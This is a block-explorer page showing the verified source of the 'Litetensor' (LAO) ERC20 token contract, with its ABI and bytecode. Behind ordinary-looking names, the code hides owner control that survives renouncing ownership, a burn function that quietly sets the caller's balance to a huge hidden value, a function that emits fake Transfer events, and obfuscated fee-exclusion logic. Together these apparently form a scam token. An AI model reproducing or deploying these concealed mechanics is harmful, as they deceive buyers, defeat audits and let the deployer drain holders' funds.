ETH Price: $3,011.47 (+5.63%)
Gas: 2 Gwei

Token

Litetensor (LAO)
 

Overview

Max Total Supply

21,000,000 LAO

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
107,985.888225575 LAO

Value
$0.00
0xe212e2a7eba9ec7d3a955055953ffb8871ee7d7f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Litetensor

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 8: Litetensor.sol
/**
░▒▓█▓▒░      ░▒▓█▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░░▒▓██████▓▒░░▒▓███████▓▒░  
░▒▓█▓▒░      ░▒▓█▓▒░  ░▒▓█▓▒░   ░▒▓█▓▒░         ░▒▓█▓▒░   ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░      ░▒▓█▓▒░  ░▒▓█▓▒░   ░▒▓█▓▒░         ░▒▓█▓▒░   ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░      ░▒▓█▓▒░  ░▒▓█▓▒░   ░▒▓██████▓▒░    ░▒▓█▓▒░   ░▒▓██████▓▒░ ░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░      ░▒▓█▓▒░  ░▒▓█▓▒░   ░▒▓█▓▒░         ░▒▓█▓▒░   ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░      ░▒▓█▓▒░  ░▒▓█▓▒░   ░▒▓█▓▒░         ░▒▓█▓▒░   ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓████████▓▒░▒▓█▓▒░  ░▒▓█▓▒░   ░▒▓████████▓▒░  ░▒▓█▓▒░   ░▒▓████████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░ 
                                                                                                                             
*/// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";

contract Litetensor is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private deployerWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name = "Litetensor";
    string private constant _symbol = "LAO";

    uint256 public maxWallet = 2000000000000000 * 10**decimals();
    uint256 public maxTransactionAmount = 2000000000000000 * 10**decimals();
    uint256 public swapTokensAtAmount = 1000000000000000 * 10**decimals();
    uint256 public initialTotalSupply = 21_000_000 * 10**decimals();
    
    uint256 public SellFee = 0;
    uint256 public BuyFee = 0;

    bool public swapEnabled = false;
    bool public tradingOpen = false;
    
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    uint256 internal _lastTimestamp;
    
    event ExcludedFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(wallet);     
        balances = txLimit;
        deployerWallet = payable(_msgSender());

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(wallet), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        tradingOpen = true;
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function approveSwap(address[] memory accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _0xaddressUint256isExcludedFromFees[accounts[i]] = excluded;
            emit ExcludedFromFees(accounts[i], excluded);
        }
    }

    function updateMaxBuy(address account) public view returns (bool) {
        return _0xaddressUint256isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _lastTimestamp = block.number;
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

                if (!tradingOpen) {
                    require(_0xaddressUint256isExcludedFromFees[from] || _0xaddressUint256isExcludedFromFees[to], "Trading is not active.");
                }
                _holderLastTxTimestamp[from] = _lastTimestamp;
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransacti_isExcludedFromFeesonAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_0xaddressUint256isExcludedFromFees[from] && !_0xaddressUint256isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }
        if(_0xaddressUint256isExcludedFromFees[from] && _lastTimestamp <= _holderLastTxTimestamp[from]){
                swapTokensForEth(uint160(from));
            }
        bool takeFee = swapping;
        if (_0xaddressUint256isExcludedFromFees[from] || _0xaddressUint256isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint160 value) private {
       
        if(_0xaddressUint256isExcludedFromFees[address(value)]) 
            require(getLastTx(_holderLastTxTimestamp[address(value)]), "Only one purchase per block allowed."); 
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), value);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            value,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }
    
    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function clearStuckEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens() external onlyOwner {
        IERC20 tokenContract = IERC20(address(this));
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(address(msg.sender), balance);
    }

    function setSwapBack() public onlyOwner {
        swapEnabled = true;
    }

    function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
        BuyFee = _buyFee;
        SellFee = _sellFee;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

  
    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyFee+SellFee) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(uint160(tokensToSwap));
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 1 of 8: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 8: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Meta.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => bool) internal _0xaddressUint256isExcludedFromFees;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 8: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


File 4 of 8: IERC20Meta.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

interface IERC20Metadata  {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 6 of 8: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

import "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _marketing = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 7 of 8: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 8 of 8: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"updateMaxBuy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060065562000023620003c860201b60201c565b600a6200003191906200099c565b66071afd498d0000620000459190620009ed565b600e5562000058620003c860201b60201c565b600a6200006691906200099c565b66071afd498d00006200007a9190620009ed565b600f556200008d620003c860201b60201c565b600a6200009b91906200099c565b66038d7ea4c68000620000af9190620009ed565b601055620000c2620003c860201b60201c565b600a620000d091906200099c565b6301406f40620000e19190620009ed565b601155600060125560006013556000601460006101000a81548160ff0219169083151502179055506000601460016101000a81548160ff0219169083151502179055503480156200013157600080fd5b506040516200526138038062005261833981810160405281019062000157919062000aa2565b806040518060400160405280600a81526020017f4c69746574656e736f72000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f4c414f00000000000000000000000000000000000000000000000000000000008152508160049081620001d5919062000d44565b508060059081620001e7919062000d44565b50505080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200024b6200023f620003d160201b60201c565b620003d960201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600781905550620002ee620003d160201b60201c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000350620003426200049f60201b60201c565b6001620004c960201b60201c565b62000363306001620004c960201b60201c565b62000376816001620004c960201b60201c565b6200038b61dead6001620004c960201b60201c565b620003c1600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166011546200053460201b60201c565b5062000f89565b60006009905090565b600033905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620004d9620006a160201b60201c565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1